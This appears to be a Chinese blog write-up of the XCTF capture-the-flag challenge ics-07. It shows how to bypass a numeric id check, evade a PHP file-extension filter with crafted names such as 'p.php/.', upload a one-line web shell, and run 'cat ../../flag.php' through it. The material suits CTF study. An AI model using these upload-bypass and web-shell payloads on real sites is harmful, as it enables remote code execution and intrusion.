XCTF_ics-07
2024-09-03 01:07:32
这道题确实也卡了很久 垮了垮了
话不多说直接找到view source.php审代码吧
先看这段
要你:
(1)floatval($ _ GET [id])!==‘1’ //浮点不为1
(2)substr($ _ GET [id],-1)==='9‘ //id最后一位为9
构造:
1 9
1-9
都可以绕过去。
大骨头是这个代码
1.首先是preg_match函数通配符限制,文件名尾不能是p/tml这些,但这种只匹配最后一个点的后缀,可以写入两次.php。
2.其次一个chdir重置了一个新的文件目录,也是说之前咱们是在backup,现在要去uploaded目录下了。这边有一个坑坑就是你们应该也会发现了。
3.其他的没有了,挑战一天挣两万,今天腰疼不管干!
构造一波:
file=p.php/.&con=
访问/uploaded/backup/p.php即可。
接下来换一个构造一句话或者像我这样:
file=…/123.php/1.php/…&con=
直接再访问/uploaded/123.php?bash=cat ../../flag.php
查看源码就有flag了.
最新文章
- 2 column数据构成主键的表转化为1 column为主键的表
- Leetcode 详解(Valid Number)
- Access denied for user 'root'@'localhost' (using password:YES)
- isInstance和isAssignableFrom的用法
- 转:Enterprise Library 4.0缓存应用程序块
- PLSQL_查询SQL的执行次数和频率(案例)
- LoadCursor 函数
- socket实例2
- LATEX使用之字体颜色深浅不一
- spring-事务实现原理
- HBase源代码分析之HRegion上MemStore的flsuh流程(一)
- CSRF攻击原理及防御
- 如何以system身份运行指定的程序?
- C++进程间通信之共享内存
- Oracle_高级功能(4) 数据库存储结构
- 一个简单的用python 实现系统登录的http接口服务实例
- stl源码剖析 详细学习笔记priority_queue slist
- C# XmlTextWriter和XmlTextReader 读写XML文件
- 一个不错的工具推荐:JMeter
- vim 程序编辑器